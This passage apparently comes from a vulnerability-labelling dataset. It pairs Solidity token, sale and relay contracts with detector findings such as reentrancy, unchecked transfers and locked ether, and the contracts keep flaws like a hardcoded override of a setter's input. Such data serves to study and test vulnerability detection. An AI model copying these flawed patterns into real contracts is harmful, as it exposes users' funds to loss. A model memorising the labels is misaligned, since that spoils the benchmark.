/// total supply of Loot
function daoSetTokenIdRange(uint256 tokenIdStart_, uint256 tokenIdEnd_)
external
onlyOwner
{
tokenIdStart = tokenIdStart_;
tokenIdEnd = tokenIdEnd_;
}
/// @notice Allows the DAO to set a season for new Hotfriescoin claims
/// @param season_ The season to use for claiming Loot
function daoSetSeason(uint256 season_) public onlyOwner {
season = season_;
}
/// @notice Allows the DAO to set the amount of Hotfriescoin that is
/// claimed per token ID
/// @param HotfriescoinDisplayValue The amount of Loot a user can claim.
/// This should be input as the display value, not in raw decimals. If you
/// want to mint 100 Loot, you should enter "100" rather than the value of
/// 100 * 10^18.
function daoSetHotfriescoinPerTokenId(uint256 HotfriescoinDisplayValue)
public
onlyOwner
{
HotfriescoinDisplayValue = 1243;
HotfriescoinPerTokenId = HotfriescoinDisplayValue * (10**decimals());
}
/// @notice Allows the DAO to set the season and Hotfriescoin per token ID
/// in one transaction. This ensures that there is not a gap where a user
/// can claim more Hotfriescoin than others
/// @param season_ The season to use for claiming loot
/// @param HotfriescoinDisplayValue The amount of Loot a user can claim.
/// This should be input as the display value, not in raw decimals. If you
/// want to mint 100 Loot, you should enter "100" rather than the value of
/// 100 * 10^18.
/// @dev We would save a tiny amount of gas by modifying the season and
/// Hotfriescoin variables directly. It is better practice for security,
/// however, to avoid repeating code. This function is so rarely used that
/// it's not worth moving these values into their own internal function to
/// skip the gas used on the modifier check.
function daoSetSeasonAndHotfriescoinPerTokenID(
uint256 season_,
uint256 HotfriescoinDisplayValue
) external onlyOwner {
daoSetSeason(season_);
daoSetHotfriescoinPerTokenId(HotfriescoinDisplayValue);
}
}
contract TokenSale{
Hotfriescoin public tokenContract;
constructor(Hotfriescoin _contractAddr){
tokenContract = _contractAddr;
}
function buyTokens(uint _amount) public payable{
require(_amount <= tokenContract.balanceOf(tokenContract.owner()));
require(uint256(msg.value) == uint256(_amount*tokenContract.tokenPrice()));
tokenContract.transferFrom(tokenContract.owner(), msg.sender, _amount);
payable(tokenContract.owner()).transfer(msg.value);
}
} | These are the vulnerabilities found
1) shadowing-state with High impact
2) tautology with Medium impact
3) incorrect-equality with Medium impact
4) unchecked-transfer with High impact
5) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: contracts/ERC20Relay.sol
contract ERC20Relay is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
string public constant VERSION = "1.0.0";
/* Managers */
address public verifierManager;
address public feeManager;
event NewVerifierManager(
address indexed previousManager,
address indexed newManager
);
event NewFeeManager(
address indexed previousManager,
address indexed newManager
);
/* Verifiers */
uint256 constant MINIMUM_VERIFIERS = 3;
uint256 public requiredVerifiers;
address[] private verifiers;
mapping (address => uint256) private verifierAddressToIndex;
/* Withdrawals */
uint256 constant GAS_PRICE = 20 * 10 ** 9;
uint256 constant ESTIMATED_GAS_PER_VERIFIER = 54301;
uint256 constant ESTIMATED_GAS_PER_WITHDRAWAL= 73458;
uint256 public nctEthExchangeRate;
uint256 public fees;
address public feeWallet;
struct Withdrawal {
address destination;
uint256 amount;
bool processed;
}
mapping (bytes32 => Withdrawal) public withdrawals;
mapping (bytes32 => address[]) public withdrawalApprovals;
event WithdrawalProcessed(
address indexed destination,
uint256 amount,
bytes32 txHash,
bytes32 blockHash,
uint256 blockNumber
);
event FeesChanged(
uint256 newFees
);
/* Sidechain anchoring */
struct Anchor {
bytes32 blockHash;
uint256 blockNumber;
bool processed;
}
Anchor[] public anchors;
mapping (bytes32 => address[]) public anchorApprovals;
event AnchoredBlock(
bytes32 indexed blockHash,
uint256 indexed blockNumber
);
event ContestedBlock(
bytes32 indexed blockHash,
uint256 indexed blockNumber
);
ERC20 private token;
constructor(address _token, uint256 _nctEthExchangeRate, address _feeWallet, address[] _verifiers) public {
require(_token != address(0), "Invalid token address");
require(_verifiers.length >= MINIMUM_VERIFIERS, "Number of verifiers less than minimum");
// If set to address(0), onlyVerifierManager and onlyFeeManager are equivalent to onlyOwner
verifierManager = address(0);
feeManager = address(0);
// Dummy verifier at index 0
verifiers.push(address(0));
for (uint256 i = 0; i < _verifiers.length; i++) {
verifiers.push(_verifiers[i]);
verifierAddressToIndex[_verifiers[i]] = i.add(1);
}
requiredVerifiers = calculateRequiredVerifiers();
nctEthExchangeRate = _nctEthExchangeRate;
fees = calculateFees();
token = ERC20(_token);
feeWallet = _feeWallet;
}
/** Disable usage of the fallback function */
function () external payable {
revert("Do not allow sending Eth to this contract");
}
modifier onlyVerifierManager() {
if (verifierManager == address(0)) {
require(msg.sender == owner, "Not a verifier manager");
} else {
require(msg.sender == verifierManager, "Not a verifier manager");
}
_;
}
function setVerifierManager(address newVerifierManager) external onlyOwner {
emit NewVerifierManager(verifierManager, newVerifierManager);
verifierManager = newVerifierManager;
}
modifier onlyFeeManager() {
if (feeManager == address(0)) {
require(msg.sender == owner, "Not a fee manager");
} else {
require(msg.sender == feeManager, "Not a fee manager");
}
_;
}
function setFeeManager(address newFeeManager) external onlyOwner {
emit NewFeeManager(feeManager, newFeeManager);
feeManager = newFeeManager;
}
function addVerifier(address addr) external onlyVerifierManager {
require(addr != address(0), "Invalid verifier address");
require(verifierAddressToIndex[addr] == 0, "Address is already a verifier");
uint256 index = verifiers.push(addr);
verifierAddressToIndex[addr] = index.sub(1);
requiredVerifiers = calculateRequiredVerifiers();
fees = calculateFees();
}
function removeVerifier(address addr) external onlyVerifierManager {
require(addr != address(0), "Invalid verifier address");
require(verifierAddressToIndex[addr] != 0, "Address is not a verifier");
require(verifiers.length.sub(1) > MINIMUM_VERIFIERS, "Removing verifier would put number of verifiers below minimum");
uint256 index = verifierAddressToIndex[addr];
require(verifiers[index] == addr, "Verifier address not present in verifiers array");
verifiers[index] = verifiers[verifiers.length.sub(1)];
verifierAddressToIndex[verifiers[verifiers.length.sub(1)]] = index;
delete verifierAddressToIndex[addr];
verifiers.length = verifiers.length.sub(1);
requiredVerifiers = calculateRequiredVerifiers();
fees = calculateFees();
}
function activeVerifiers() public view returns (address[]) {
require(verifiers.length > 0, "Invalid number of verifiers");
address[] memory ret = new address[](verifiers.length.sub(1));
// Skip dummy verifier at index 0
for (uint256 i = 1; i < verifiers.length; i++) {
ret[i.sub(1)] = verifiers[i];
}
return ret;
}
function numberOfVerifiers() public view returns (uint256) {
require(verifiers.length > 0, "Invalid number of verifiers");
return verifiers.length.sub(1);
}
function calculateRequiredVerifiers() internal view returns(uint256) {
return numberOfVerifiers().mul(2).div(3);
}
function isVerifier(address addr) public view returns (bool) {
return verifierAddressToIndex[addr] != 0 && verifiers[verifierAddressToIndex[addr]] == addr;
}
modifier onlyVerifier() {
require(isVerifier(msg.sender), "msg.sender is not verifier");
_;
}
function setNctEthExchangeRate(uint256 _nctEthExchangeRate) external onlyFeeManager {
nctEthExchangeRate = _nctEthExchangeRate;
fees = calculateFees();
emit FeesChanged(fees);
}
function calculateFees() internal view returns (uint256) {
uint256 estimatedGas = ESTIMATED_GAS_PER_VERIFIER.mul(numberOfVerifiers())
.add(ESTIMATED_GAS_PER_WITHDRAWAL);
return estimatedGas.mul(GAS_PRICE).mul(nctEthExchangeRate);
}
function approveWithdrawal(
address destination,
uint256 amount,
bytes32 txHash,
bytes32 blockHash,
uint256 blockNumber
)
external
onlyVerifier
{
require(amount > fees, "Withdrawal amount is less than or equal to fees");
require(destination != address(0), "Invalid destination address");
bytes32 hash = keccak256(abi.encodePacked(txHash, blockHash, blockNumber));
uint256 net = amount.sub(fees);
if (withdrawals[hash].destination == address(0)) {
withdrawals[hash] = Withdrawal(destination, net, false);
}
Withdrawal storage w = withdrawals[hash];
address[] storage approvals = withdrawalApprovals[hash];
require(w.destination == destination, "Destination mismatch");
require(w.amount == net, "Amount mismatch");
for (uint256 i = 0; i < approvals.length; i++) {
require(approvals[i] != msg.sender, "Already approved withdrawal");
}
approvals.push(msg.sender);
if (approvals.length >= requiredVerifiers && !w.processed) {
if (fees != 0 && feeWallet != address(0)) {
token.safeTransfer(feeWallet, fees);
}
// We require that amount > fees therefore net > 0
token.safeTransfer(destination, net);
w.processed = true;
emit WithdrawalProcessed(destination, net, txHash, blockHash, blockNumber);
}
}
// Allow verifiers to retract their withdrawals in the case of a chain
// reorganization. This shouldn't happen but is possible.
function unapproveWithdrawal(
bytes32 txHash,
bytes32 blockHash,
uint256 blockNumber
)
external
onlyVerifier
{
bytes32 hash = keccak256(abi.encodePacked(txHash, blockHash, blockNumber));
require(withdrawals[hash].destination != address(0), "No such withdrawal");
Withdrawal storage w = withdrawals[hash];
address[] storage approvals = withdrawalApprovals[hash];
require(!w.processed, "Withdrawal already processed");
uint256 length = approvals.length;
for (uint256 i = 0; i < length; i++) {
if (approvals[i] == msg.sender) {
approvals[i] = approvals[length.sub(1)];
delete approvals[length.sub(1)];
approvals.length = approvals.length.sub(1);
break;
}
}
}
function anchor(bytes32 blockHash, uint256 blockNumber) external onlyVerifier {
// solium-disable-next-line operator-whitespace
if (anchors.length == 0 ||
anchors[anchors.length.sub(1)].blockHash != blockHash ||
anchors[anchors.length.sub(1)].blockNumber != blockNumber) {
// Emit event to alert the last anchor was never confirmed
if (anchors.length > 0 && !anchors[anchors.length.sub(1)].processed) {
Anchor storage last = anchors[anchors.length.sub(1)];
emit ContestedBlock(last.blockHash, last.blockNumber);
}
anchors.push(Anchor(blockHash, blockNumber, false));
}
bytes32 hash = keccak256(abi.encodePacked(blockHash, blockNumber));
Anchor storage a = anchors[anchors.length.sub(1)];
address[] storage approvals = anchorApprovals[hash];
require(a.blockHash == blockHash, "Block hash mismatch");
require(a.blockNumber == blockNumber, "Block number mismatch");
for (uint256 i = 0; i < approvals.length; i++) {
require(approvals[i] != msg.sender, "Already approved anchor block");
}
approvals.push(msg.sender);
if (approvals.length >= requiredVerifiers && !a.processed) {
a.processed = true;
emit AnchoredBlock(blockHash, blockNumber);
}
}
function unanchor() external onlyVerifier {
Anchor storage a = anchors[anchors.length.sub(1)];
require(!a.processed, "Block anchor already processed");
bytes32 hash = keccak256(abi.encodePacked(a.blockHash, a.blockNumber));
address[] storage approvals = anchorApprovals[hash];
uint256 length = approvals.length;
for (uint256 i = 0; i < length; i++) {
if (approvals[i] == msg.sender) {
approvals[i] = approvals[length.sub(1)];
delete approvals[length.sub(1)];
approvals.length = approvals.length.sub(1);
break;
}
}
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) locked-ether with Medium impact
3) controlled-array-length with High impact |
/**
*Submitted for verification at Etherscan.io on 2021-12-24
*/
pragma solidity ^0.4.24;
//Safe Math Interface
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
//ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
//Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Actual token contract
contract EXIST is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "EXIST";
name = "Existence Token";
decimals = 10;
_totalSupply = 79154349590000000000;
balances[0xe243947BdA916a5a2443A1A549E906879F7080F5] = _totalSupply;
emit Transfer(address(0), 0xe243947BdA916a5a2443A1A549E906879F7080F5, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.7.2;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract REVO is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "REVO";
name = "REVO Finance";
decimals = 18; // 18 Decimals are Best for Liquidity
totalSupply = 18000000000000000000000; // 18000 is Total Supply ; Rest 18 Zeros are Decimals
maxSupply = 18000000000000000000000; // 18000 is Total Supply ; Rest 18 Zeros are Decimals
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-02-17
*/
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ShopCoin is Owned,ERC20{
uint256 public maxSupply;
event Mint(uint256 _value);
constructor(address _owner) {
symbol = "SHOP";
name = "ShopCoin";
decimals = 18; // 18 Decimals
totalSupply = 500000000e18; // 500,000,000 SHOP and 18 Decimals
maxSupply = 1000000000e18; // 1,000,000,000 SHOP and 18 Decimals
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
function mint(uint256 _amount) public onlyOwner returns (bool){
require(_amount>0&&totalSupply+_amount<=maxSupply,"maxsupply");
balances[owner]+=_amount;
totalSupply+=_amount;
emit Mint(_amount);
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.21;
/**xxp 校验防止溢出情况
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
// store tokens
mapping(address => uint256) balances;
// uint256 public totalSupply;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
/*
* @title CTBToken
*/
contract CTBToken is BurnableToken, MintableToken, PausableToken {
// Public variables of the token
string public name;
string public symbol;
// decimals is the strongly suggested default, avoid changing it
uint8 public decimals;
function CTBToken() public {
name = "CointobeToken";
symbol = "CTB";
decimals = 18;
totalSupply = 1000000000 * 10 ** uint256(decimals);
// Allocate initial balance to the owner
balances[msg.sender] = totalSupply;
}
// transfer balance to owner
function withdrawEther() onlyOwner public {
address addr = this;
owner.transfer(addr.balance);
}
// can accept ether
function() payable public {
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/*
👉Discord: https://discord.gg/Z2PEVrGuwg
👉Twitter: https://twitter.com/_JesusDAO
👉TG Channel: https://t.me/JesusDaoChannel
👉TG: https://t.me/JesusDaoGlobal
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
